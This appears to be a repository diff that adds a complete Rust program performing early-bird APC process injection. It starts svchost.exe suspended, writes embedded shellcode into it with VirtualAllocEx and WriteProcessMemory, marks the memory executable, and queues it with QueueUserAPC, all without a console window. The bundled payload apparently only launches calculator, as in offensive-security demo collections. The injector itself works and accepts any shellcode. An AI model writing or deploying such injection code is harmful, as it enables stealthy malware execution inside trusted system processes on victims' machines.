|
| 1 | +#![windows_subsystem = "windows"] |
| 2 | + |
| 3 | +use std::ffi::c_void; |
| 4 | +use std::mem::{transmute, zeroed}; |
| 5 | +use std::ptr::{null, null_mut}; |
| 6 | +use windows_sys::Win32::Foundation::{CloseHandle, FALSE, TRUE}; |
| 7 | +use windows_sys::Win32::System::Diagnostics::Debug::WriteProcessMemory; |
| 8 | +use windows_sys::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, VirtualAllocEx, VirtualProtectEx}; |
| 9 | +use windows_sys::Win32::System::Threading::{CREATE_SUSPENDED, CreateProcessA, PROCESS_INFORMATION, QueueUserAPC, ResumeThread, STARTF_USESTDHANDLES, STARTUPINFOA}; |
| 10 | + |
| 11 | +static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 12 | +static SIZE: usize = SHELLCODE.len(); |
| 13 | + |
| 14 | +#[cfg(target_os = "windows")] |
| 15 | +fn main() { |
| 16 | + let mut old = PAGE_READWRITE; |
| 17 | + let program = b"C:\\Windows\\System32\\svchost.exe\0"; |
| 18 | + |
| 19 | + unsafe { |
| 20 | + let mut pi: PROCESS_INFORMATION = zeroed(); |
| 21 | + let mut si: STARTUPINFOA = zeroed(); |
| 22 | + si.dwFlags = STARTF_USESTDHANDLES | CREATE_SUSPENDED; |
| 23 | + si.wShowWindow = 1; |
| 24 | + |
| 25 | + let res = CreateProcessA(program.as_ptr(), null_mut(), null(), null(), TRUE, CREATE_SUSPENDED, null(), null(), &si, &mut pi); |
| 26 | + if res == FALSE { |
| 27 | + eprintln!("CreateProcessA failed!"); |
| 28 | + return; |
| 29 | + } |
| 30 | + |
| 31 | + let dest = VirtualAllocEx(pi.hProcess, null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 32 | + if dest == null_mut() { |
| 33 | + eprintln!("VirtualAllocEx failed!"); |
| 34 | + return; |
| 35 | + } |
| 36 | + |
| 37 | + let res = WriteProcessMemory(pi.hProcess, dest, SHELLCODE.as_ptr() as *const c_void, SIZE, null_mut()); |
| 38 | + if res == FALSE { |
| 39 | + eprintln!("WriteProcessMemory failed!"); |
| 40 | + return; |
| 41 | + } |
| 42 | + |
| 43 | + let res = VirtualProtectEx(pi.hProcess, dest, SIZE, PAGE_EXECUTE, &mut old); |
| 44 | + if res == FALSE { |
| 45 | + eprintln!("VirtualProtectEx failed!"); |
| 46 | + return; |
| 47 | + } |
| 48 | + |
| 49 | + let dest = transmute(dest); |
| 50 | + let res = QueueUserAPC(Some(dest), pi.hThread, 0); |
| 51 | + if res == 0 { |
| 52 | + eprintln!("QueueUserAPC failed!"); |
| 53 | + return; |
| 54 | + } |
| 55 | + loop { |
| 56 | + let res = ResumeThread(pi.hThread); |
| 57 | + if res > 0 { break } |
| 58 | + } |
| 59 | + |
| 60 | + CloseHandle(pi.hProcess); |
| 61 | + CloseHandle(pi.hThread); |
| 62 | + } |
| 63 | +} |
0 commit comments